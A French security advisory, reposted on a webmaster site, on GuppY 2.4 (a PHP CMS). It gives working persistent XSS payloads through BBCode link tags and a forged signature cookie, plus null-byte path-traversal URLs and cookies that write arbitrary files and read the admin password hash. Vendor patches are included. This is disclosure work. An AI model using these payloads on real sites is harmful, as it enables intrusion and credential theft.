Bienvenue sur horslimite.net
Ce site vous propose tutoriels de programmations (php javascript ...) forum compteur de connectés, compteur de visites, script php, téléchargement de logiciel, Blog etc...
 
aide webmastering webmaster compteur forum Menu
home
  • News
  • Recherche
  • Téléchargement
  • Statistiques
  • Tutoriels      
  • PHP     
  • JavaScript     
  • Crack
  • Linux     
  • Back orifice
  • Faille include (php)
  • Membre      
  • Inscription
  • Liste des membres
  • Votre profil
  • Compteur de visites
  • Compteur de connectés
  • Votre carte membre
  • Messagerie interne
  • Blog
  • Service      
  • Whois
  • Header d\\\\'une page
  • Obtenir une IP
  • Générateur de méta-tags
  • Forum



    Votez pour ce site au Weborama
    > tutoriel > exploit > GuppY


    GuppY

    GuppY
    *****
    Informations :
    °°°°°°°°°°°°°°
    Langage : PHP
    Website : http://www.freeguppy.org
    Version : 2.4
    Problèmes :
    - XSS Permanent
    - Lecture de fichiers
    - Ecriture de fichiers

    Developpement :
    °°°°°°°°°°°°°°°
    GuppY, l'ancien miniPortail qui s'est "rénové", est un portail (CMS). L'équipe GuppY s'est lancé le défi de faire un portail
    de qualité (et c'est réussi) et surtout sans base de données ! Tout ce passe via des fichiers.
    Bien sûr des problèmes de sécurité en découlent.

    Mais le premier dont nous allons parler n'en découle justement pas, lui. Il s'agit de divers failles XSS exploitables
    sur les forums, dans les réactions à des articles,.. via le BBCode puis la signature.
    dAs a écrit récemment un tutoriel sur une autre faille dans le BBCode. Disponible :
    - en français
    http://www.echu.org/modules/news/article.php?storyid=369
    - in english
    http://www.echu.org/articles/alertes/echu-alert4.txt

    Tous les problèmes qui concernent le BBCode se trouvent dans la balise [l], qui permet de reproduire la balise HTML
    <a>, le lien hypertexte. Ainsi si on tape dans le forum un message contenant : [l]hop[/l], on obtiendra à sa lecture :
    <a href="hop" target=_blank>hop</a>.
    Le code php traduisant cette balise [l] se trouve dans le fichier postguest.php :
    --------------------------------------------------------------------------------------------------------------------
    [...]
    $ptxt = eregi_replace("\\[l\\]www.([^\\[]*)\\[/l\\]", "<a href=\"http://www.\\1\" target=_blank>\\1</a>",$ptxt);
    $ptxt = eregi_replace("\\[l\\]www.([^\\[]*)\\[/L\\]", "<a href=\"http://www.\\1\" target=_blank>\\1</a>",$ptxt);
    $ptxt = eregi_replace("\\[L\\]www.([^\\[]*)\\[/l\\]", "<a href=\"http://www.\\1\" target=_blank>\\1</a>",$ptxt);
    $ptxt = eregi_replace("\\[L\\]www.([^\\[]*)\\[/L\\]", "<a href=\"http://www.\\1\" target=_blank>\\1</a>",$ptxt);
    $ptxt = eregi_replace("\\[l\\]([^\\[]*)\\[/l\\]","<a href=\"\\1\" target=_blank>\\1</a>",$ptxt);
    $ptxt = eregi_replace("\\[l\\]([^\\[]*)\\[/L\\]","<a href=\"\\1\" target=_blank>\\1</a>",$ptxt);
    $ptxt = eregi_replace("\\[L\\]([^\\[]*)\\[/l\\]","<a href=\"\\1\" target=_blank>\\1</a>",$ptxt);
    $ptxt = eregi_replace("\\[L\\]([^\\[]*)\\[/L\\]","<a href=\"\\1\" target=_blank>\\1</a>",$ptxt);
    $ptxt = eregi_replace("\\[l=([^\\[]*)\\]([^\\[]*)\\[/l\\]","<a href=\"\\1\" target=_blank>\\2</a>",$ptxt);
    $ptxt = eregi_replace("\\[l=([^\\[]*)\\]([^\\[]*)\\[/L\\]","<a href=\"\\1\" target=_blank>\\2</a>",$ptxt);
    $ptxt = eregi_replace("\\[L=([^\\[]*)\\]([^\\[]*)\\[/l\\]","<a href=\"\\1\" target=_blank>\\2</a>",$ptxt);
    $ptxt = eregi_replace("\\[L=([^\\[]*)\\]([^\\[]*)\\[/L\\]","<a href=\"\\1\" target=_blank>\\2</a>",$ptxt);
    [...]
    --------------------------------------------------------------------------------------------------------------------
    J'ai pris la balise [l] pour plus de facilité, mais les mêmes failles peuvent être utilisées avec [L], [l=URL] ou [L=URL].
    Le premier problème vient du fait qu'il n'y a aucun filtre ou presque appliqué sur la valeur donnée comme URL du lien.
    Ainsi, si on tape par exemple comme balise BBCode : [l]" style="background:url('javascript:alert()');visibility:hidden;[/l]
    on obtiendra comme code HTML (sans les passages à la ligne bien sûr) :
    ------------------------------------------------------------------------------------------
    <a href="" style="background:url('javascript:[SCRIPT]');visibility:hidden;" target=_blank>
    " style="background:url('javascript:[SCRIPT]');visibility:hidden;
    </a>
    ------------------------------------------------------------------------------------------
    et le javascript [SCRIPT] sera executé et caché (grâce à visibility:hidden).
    Plus de détails sur l'attribut style dans mon texte sur le XSS Permanent dans PHP-Nuke, et dans un texte à venir sur le XSS.

    Le deuxième XSS possible avec la balise [l] est dû à la possibilité d'imbriquer deux de ces balises.
    Cela peut permettre d'injecter un script même sans utiliser de caractère ' ou ".
    Imaginons par exemple que nous tapons les balises imbriquées suivantes :
    [l][l] {MACHIN} [/l][/l]
    On obtiendra alors le HTML suivant :
    <a href="<a href=" {MACHIN} "target=_blank> {MACHIN} </a>" target=_blank><a href=" {MACHIN} " target=_blank> {MACHIN} </a></a>
    ce qui ne donne pas un code fort clair, pas idéal comme exemple :p
    Pour être plus clair et plus logique dans le résultat HTML, tapons la balise :
    [l][l] blob=[/l][/l]
    Cela donnera le HTML suivante (avec des passages à la ligne à chaque changement d'attribut ou de balise) :
    -------------------------------------
    1 <a
    2 href="<a href="
    3 blob=" target=_blank> test2=</a>"
    4 target=_blank
    5 >
    6 <a
    7 href=" blob="
    8 target=_blank
    9 >
    10 blob=
    11 </a>
    12 </a>
    -------------------------------------
    Détaillons pour bien comprendre ce qui se passe.
    Une première balise <a> est ouverte (1,5), avec les attributs suivants :
    - href (2)
    Qui est normalement l'url du lien vers lequel une balise <a> doit diriger, mais qui a ici comme valeur :
    <a href=
    - blob (3)
    Qui est ce que nous avons fait rentrer dans la balise [l] et qui, on le voit ici, n'est plus une VALEUR d'attribut
    mais un attribut à part entière ! Il a comme valeur :
    target=_blank> test2=</a>
    - target (4)
    Qui a comme valeur _blank
    Ensuite une deuxième balise <a> est ouverte (6,9) avec les attributs :
    - href (7)
    qui a comme valeur :
    blob=
    - target (8)
    qui a comme valeur : _blank
    Ensuite est affiché " blob=" en dehors de toute balise (10), puis les deux balises <a> sont refermées (11,12).
    On a donc réussi à insérer dans une balise <a> autre chose qu'un argument d'attribut, et sans utiliser ni ' ni ".
    Pour exploiter ceci, il suffirait de taper les balises imbriquées :
    [l][l] style=list-style:url(javascript:[SCRIPT]) truc=[/l][/l]
    ce qui donnera comme code HTML (avec la structure de ci-dessus) :
    ---------------------------------------------------------------------------
    <a
    href="<a href="
    style=list-style:url(javascript:[SCRIPT])
    truc=" target=_blank> style=list-style:url(javascript:[SCRIPT]) truc=</a>"
    target=_blank
    >
    <a
    href=" style=list-style:url(javascript:[SCRIPT]) truc="
    target=_blank
    >
    style=list-style:url(javascript:[SCRIPT]) truc=
    </a>
    </a>
    ---------------------------------------------------------------------------
    [SCRIPT] est exécuté en tant qu'argument du deuxième attribut (style) de la première balise <a>.


    Attaquons nous maintenant à la signature. Partout sauf à un endroit, il est impossible de placer une balise HTML dans la
    signature qui est, comme presque toutes les variables modifiables de GuppY, purgée de toutes balises HTML et PHP
    par la fonction strip_tags().
    Cette balise autorisée une fois dans la signature est la balise <br>, et le code où elle est autorisée se
    trouve dans les fichiers inc/includes.inc et inc/includes_IIS.inc :
    -------------------------------------------------------------------------------
    [...]
    $usercookie = "GuppYUser";
    $userprefs = array();
    if (!empty($HTTP_COOKIE_VARS[$usercookie])) {
    $userprefs = explode("||",$HTTP_COOKIE_VARS[$usercookie]);
    $userprefs[0] = strip_tags($userprefs[0]);
    $userprefs[1] = strip_tags($userprefs[1]);
    $userprefs[2] = strip_tags($userprefs[2]);
    $userprefs[3] = strip_tags($userprefs[3]);
    $userprefs[4] = strip_tags($userprefs[4]);
    $userprefs[5] = strip_tags($userprefs[5]);
    $userprefs[6] = strip_tags($userprefs[6],"<br>");
    if (($userprefs[0] == $lang[0] || $userprefs[0] == $lang[1]) & empty($lng)) {
    $lng = $userprefs[0];
    }
    }
    [...]
    -------------------------------------------------------------------------------
    On voit que l'élément 6 qui du cookie nommé "GuppYUser" qui est la signature n'a aucun tag autorisé sauf <br>.
    Les éléments sont séparés par les caractères ||.
    Encore une fois on peut utiliser l'attribut style pour injecter un script, par exemple :
    <br style="background:url('javascript:[SCRIPT]')">
    Pratiquement, il suffit d'envoyer un cookie avec comme nom GuppYUser et comme valeur :
    --------------------------------------------------------------------------------
    fr||[NICK]||[MAIL]||LR||||on||<br style="background:url('javascript:[SCRIPT]')">
    --------------------------------------------------------------------------------
    sur le site de la victime puis d'y envoyer un message pour que son premier lecteur execute le script.
    [NICK] et [MAIL] sont au choix.

    Voyons maintenant les failles liées aux fichiers. Dans le fichier inc/functions.php se trouvent deux fonctions :
    --------------------------------------------------------------
    [...]
    function ReadDBFields($fic) {
    global $connector;
    $DataDB = Array();
    if (FileDBExist($fic)) {
    $DataDB = file($fic);
    for ($i = 0; $i < count($DataDB); $i++) {
    $Fields[$i] = explode($connector,trim($DataDB[$i]));
    }
    }
    return $Fields;
    }

    function WriteDBFields($fic,$Fields) {
    global $connector;
    $fhandle = fopen($fic, "w");
    $DataDB = "";
    for ($i = 0; $i < count($Fields); $i++) {
    for ($j = 0 ; $j < (count($Fields[$i])-1); $j++) {
    $DataDB .= trim($Fields[$i][$j]).$connector;
    }
    $DataDB .= trim($Fields[$i][count($Fields[$i])-1])."\n";
    }
    fputs($fhandle, $DataDB);
    fclose($fhandle);
    }
    [...]
    --------------------------------------------------------------
    La fonction ReadDBFiels, elle, lis le fichier $fic donné en argument, et renvois son contenu sous forme de tableau
    donc chaque élément a été séparé par les caractères ||.
    La fonction WriteDBFiels() écrit dans le fichier $fic donné en argument chaque élément de $Fields séparé par les
    caractères ||.
    Ces deux fonctions sont utilisées dans le fichier tinymsg.php, permettant de lire et d'envoyer des messages privés
    entre membres :
    -----------------------------------------------------------------------------------------------------------------------------
    [...]
    elseif ($action == 2) {
    [...]
    $dbmsg[0][0] = 0;
    $dbmsg[1][0] = $from;
    $dbmsg[1][1] = GetCurrentDateTime();
    $dbmsg[1][2] = PutBR(RemoveConnector(stripslashes($msg)));
    WriteDBFields($userep.$to.$dbext,$dbmsg);
    }
    [...]
    elseif ($action == 3) {
    ?>
    [...]
    $dbmsg = Array();
    if (FileDBExist($userep.$userprefs[1].$dbext)) {
    $dbmsg = ReadDBFields($userep.$userprefs[1].$dbext);
    for ($i = 1; $i < count($dbmsg); $i++) {

    ?>
    <p><? echo $web6; ?> <b><? echo $dbmsg[$i][0]; ?></b> <? echo $web7." ".FormatDate($dbmsg[$i][1]); ?></p>
    <p><? echo $dbmsg[$i][2]; ?></p>
    <?
    if ($dbmsg[$i][0] != $web214) {
    ?>
    <p align="center">[ <A href ="javascript:PopupWindow('tinymsg.php?lng=<? echo $lng; ?>&action=1&to=<? echo $dbmsg[$i][0]; ?>&from=<? echo $userprefs[1]; ?>','tinywrite',330,245,'no','no')"><? echo $web140; ?></A> ]</p>
    <?
    }
    ?>
    <hr>
    [...]
    -----------------------------------------------------------------------------------------------------------------------------
    Si la variable $action vaut 2, on utilise la première fonction, WriteDBFields(). Comme premier argument, le chemin complet
    du fichier dans lequel on va écrire le deuxième argument, on a $userep.$to.$dbext . Les variables $userep et $dbext sont
    définies dans le code PHP, il est donc impossible de les modifier. $userep vaut "/data/usermsg/" (le repertoire du fichier)
    et $dbext vaut ".dtb" (l'extension du fichier).
    Par contre on peut modifier $to, la variable du milieu, le nom du fichier. C'est là que vient la faille.
    Mais voyons d'abord ce qui est écrit dans le fichier, $dbmsg. Cette variable est un double tableau.
    L'élément [0][0] contient "0". L'élément [1][0] contient la variable $from que l'on peut modifier nous-mêmes. L'élément
    [1][1] contient le résultat de GetCurrentDateTime(), qui renvois la date et l'heure. L'élément [1][2] contient la variable
    $msg, que l'on peut également modifier.
    Toutes les variables, dont $msg et $from sont soumises à une fonction strip_tags(), empêchant d'envoeyr toute balise php ou
    HTML.
    Voyons maintenant où se trouve la faille. Vu qu'on peut modifier le nom du fichier, on peut déjà assez simplement
    modifier le dossier où va se trouver le fichier dans lequel on veut écrire $dbmsg.
    Par exemple avec l'url http://[target]/tinymsg.php?action=2&to=../../test&from=hop1&msg=hop2, la fonction WriteDBFields()
    écrira dans le fichier http://[target]/test.dtb la phrase :
    0\nhop1||[DATE+HEURE]||hop2
    alors qu'elle aurait dû l'écrire dans le fichier http://[target]/data/usermsg/test.dtb.
    Les fichiers .dtb et .inc sont illisibles à cause du .htaccess.
    Mais on peut déjà avec ça modifier quelques petites choses, comme par exemple ajouter une réponse au sondage en cours.
    En effet si on tape l'url :
    http://[target]/tinymsg.php?action=2&from=Vive la fete!||Great !||rose||10000&msg=1&to=../poll
    on écrira la ligne :
    Vive la fete!||Great !||rose||10000
    dans le fichier http://[target]/data/poll.dtb, ce qui aura comme effet d'ajouter la réponse "Vive la fete!" au sondage
    en cours, avec une couleur rose à l'affichage du résultat, et déjà un dix milles votants pour cette réponse.
    La deuxième posibilité, qui compléte la gravité de la faille, est qu'on peut changer l'extension du fichier,
    grâce au caractère %00 (%00 dans l'url mais representé dans php par \0), qui fait ignorer la partie de l'url du fichier qui
    se trouve après lui.
    Ainsi, avec l'url :
    http://[target]//tinymsg.php?action=2&to=../../tadaam.html%00&from=youpi1&msg=youpi2
    la fonction WriteDBFields(), qui aura comme premier argument "/data/usermsg/../../tadaam.html\0.dtb", écrira la ligne :
    0\nyoupi1||[DATE+HEURE]||youpi2
    dans le fichier http://[target]/tadaam.html, ce qui donnera à la lecture :
    ----------------------------
    0
    youpi1||[DATE+HEURE]||youpi2
    ----------------------------
    \n étant le caractère de saut de ligne.

    La faille de lecture, elle aussi, peut utiliser le caractère %00 (ou \0) mais on peut imaginer d'autres possibilités.
    Comme par exemple lire les messages encore non-lus des autres utilisateurs.
    L'argument donné à ReadDBFields(), le fichier qui va être lu, est $userep.$userprefs[1].$dbext .On l'a vu,
    $userprefs est le deuxième élément du cookie GuppYUser.
    Donc pour changer sa valeur, c'est :
    fr||->ICI<-||[MAIL]||LR||||on||1
    , dans la valeur du cookie GuppYUser.
    Pour lire les message de John, il suffit de taper à la place indiquée ci-dessus le pseudo 'John' et d'envoyer le cookie :
    GuppYUser=fr||John||[MAIL]||LR||||on||1
    sur la page http://[target]/index.php pour se voir avertit de la reception des messages.
    Il est bien sûr plus interessant d'utiliser %00. Le principe est exactement le même que pour l'écriture.
    Par exemple pour lire le fichier http://[target]/admin/mdp.php, contenant le mot de passe crypté en md5 de la partie
    admin, il suffit d'envoyer un cookie avec comme nom "GuppYUser" et comme valeur :
    fr||../../admin/mdp.php%00||[MAIL]||LR||||on||1
    à l'url http://[target]/tinymsg.php?action=3 .


    Patchs :
    °°°°°°°°
    Un patch est disponible sur http://www.phpsecure.info.
    L'équipe a été avertie, a réagit directement et a collaboré à la rédaction du patch.


    Dans inc/includes.inc et inc/includes_IIS.inc, remplacer la ligne :
    ---------------------------------------------------
    $userprefs[6] = strip_tags($userprefs[6],"<br>");
    ---------------------------------------------------
    par :
    ----------------------------------------------------------------------------------------------
    $userprefs[6] = str_replace("\n","<br>",strip_tags(str_replace("<br>","\n",$userprefs[6])));
    ----------------------------------------------------------------------------------------------

    Dans postguest.php, remplacer les lignes :
    --------------------------------------------------------------------------------------------------------------------
    $ptxt = eregi_replace("\\[l\\]www.([^\\[]*)\\[/l\\]", "<a href=\"http://www.\\1\" target=_blank>\\1</a>",$ptxt);
    $ptxt = eregi_replace("\\[l\\]www.([^\\[]*)\\[/L\\]", "<a href=\"http://www.\\1\" target=_blank>\\1</a>",$ptxt);
    $ptxt = eregi_replace("\\[L\\]www.([^\\[]*)\\[/l\\]", "<a href=\"http://www.\\1\" target=_blank>\\1</a>",$ptxt);
    $ptxt = eregi_replace("\\[L\\]www.([^\\[]*)\\[/L\\]", "<a href=\"http://www.\\1\" target=_blank>\\1</a>",$ptxt);
    $ptxt = eregi_replace("\\[l\\]([^\\[]*)\\[/l\\]","<a href=\"\\1\" target=_blank>\\1</a>",$ptxt);
    $ptxt = eregi_replace("\\[l\\]([^\\[]*)\\[/L\\]","<a href=\"\\1\" target=_blank>\\1</a>",$ptxt);
    $ptxt = eregi_replace("\\[L\\]([^\\[]*)\\[/l\\]","<a href=\"\\1\" target=_blank>\\1</a>",$ptxt);
    $ptxt = eregi_replace("\\[L\\]([^\\[]*)\\[/L\\]","<a href=\"\\1\" target=_blank>\\1</a>",$ptxt);
    $ptxt = eregi_replace("\\[l=([^\\[]*)\\]([^\\[]*)\\[/l\\]","<a href=\"\\1\" target=_blank>\\2</a>",$ptxt);
    $ptxt = eregi_replace("\\[l=([^\\[]*)\\]([^\\[]*)\\[/L\\]","<a href=\"\\1\" target=_blank>\\2</a>",$ptxt);
    $ptxt = eregi_replace("\\[L=([^\\[]*)\\]([^\\[]*)\\[/l\\]","<a href=\"\\1\" target=_blank>\\2</a>",$ptxt);
    $ptxt = eregi_replace("\\[L=([^\\[]*)\\]([^\\[]*)\\[/L\\]","<a href=\"\\1\" target=_blank>\\2</a>",$ptxt);
    --------------------------------------------------------------------------------------------------------------------
    par :
    ------------------------------------------------------------------------------------------------------------------------
    $ptxt = eregi_replace("\\[l\\]www.([^\[\(\"']*)\\[/l\\]", "<a href=\"http://www.\\1\" target=_blank>\\1</a>",$ptxt);
    $ptxt = eregi_replace("\\[l\\]www.([^\[\(\"']*)\\[/L\\]", "<a href=\"http://www.\\1\" target=_blank>\\1</a>",$ptxt);
    $ptxt = eregi_replace("\\[L\\]www.([^\[\(\"']*)\\[/l\\]", "<a href=\"http://www.\\1\" target=_blank>\\1</a>",$ptxt);
    $ptxt = eregi_replace("\\[L\\]www.([^\[\(\"']*)\\[/L\\]", "<a href=\"http://www.\\1\" target=_blank>\\1</a>",$ptxt);
    $ptxt = eregi_replace("\\[l\\]([^\[\(\"']*)\\[/l\\]","<a href=\"\\1\" target=_blank>\\1</a>",$ptxt);
    $ptxt = eregi_replace("\\[l\\]([^\[\(\"']*)\\[/L\\]","<a href=\"\\1\" target=_blank>\\1</a>",$ptxt);
    $ptxt = eregi_replace("\\[L\\]([^\[\(\"']*)\\[/l\\]","<a href=\"\\1\" target=_blank>\\1</a>",$ptxt);
    $ptxt = eregi_replace("\\[L\\]([^\[\(\"']*)\\[/L\\]","<a href=\"\\1\" target=_blank>\\1</a>",$ptxt);
    $ptxt = eregi_replace("\\[l=([^\[\(\"']*)\\]([^\[]*)\\[/l\\]","<a href=\"\\1\" target=_blank>\\2</a>",$ptxt);
    $ptxt = eregi_replace("\\[l=([^\[\(\"']*)\\]([^\[]*)\\[/L\\]","<a href=\"\\1\" target=_blank>\\2</a>",$ptxt);
    $ptxt = eregi_replace("\\[L=([^\[\(\"']*)\\]([^\[]*)\\[/l\\]","<a href=\"\\1\" target=_blank>\\2</a>",$ptxt);
    $ptxt = eregi_replace("\\[L=([^\[\(\"']*)\\]([^\[]*)\\[/L\\]","<a href=\"\\1\" target=_blank>\\2</a>",$ptxt);
    ------------------------------------------------------------------------------------------------------------------------

    La GuppY Team s'est occupé de la faille de lecture/ecriture dans des fichiers. Pour cela, dans inc/includes.inc
    et inc/includes_IIS.inc, elle a ajouté après la ligne :
    --------------------------------------------
    $userprefs[1] = strip_tags($userprefs[1]);
    --------------------------------------------
    les lignes :
    ----------------------------------------------------------------
    if (ereg("\\0",$userprefs[1]) or ereg("\.\.",$userprefs[1])) {
    die("GuppY thanks frog-m@n");
    }
    ----------------------------------------------------------------
    et dans tinymsg.php, après la ligne :
    ------------------------
    $msg = strip_tags($msg);
    ------------------------
    les lignes :
    -------------------------------------------------------------------------------------
    if (ereg("\\0",$from) or ereg("\.\.",$from) or ereg("\\0",$to) or ereg("\.\.",$to)) {
    die("GuppY thanks frog-m@n");
    }
    -------------------------------------------------------------------------------------


    Credits :
    °°°°°°°°°
    Auteur : frog-m@n
    E-mail : leseulfrog@hotmail.com
    Website : http://www.phpsecure.info
    Date : 02/10/2003






    Copyright frog-m@n http://www.phpsecure.info/v2/zone/pArticle
     
    page générée en 117 millisecondes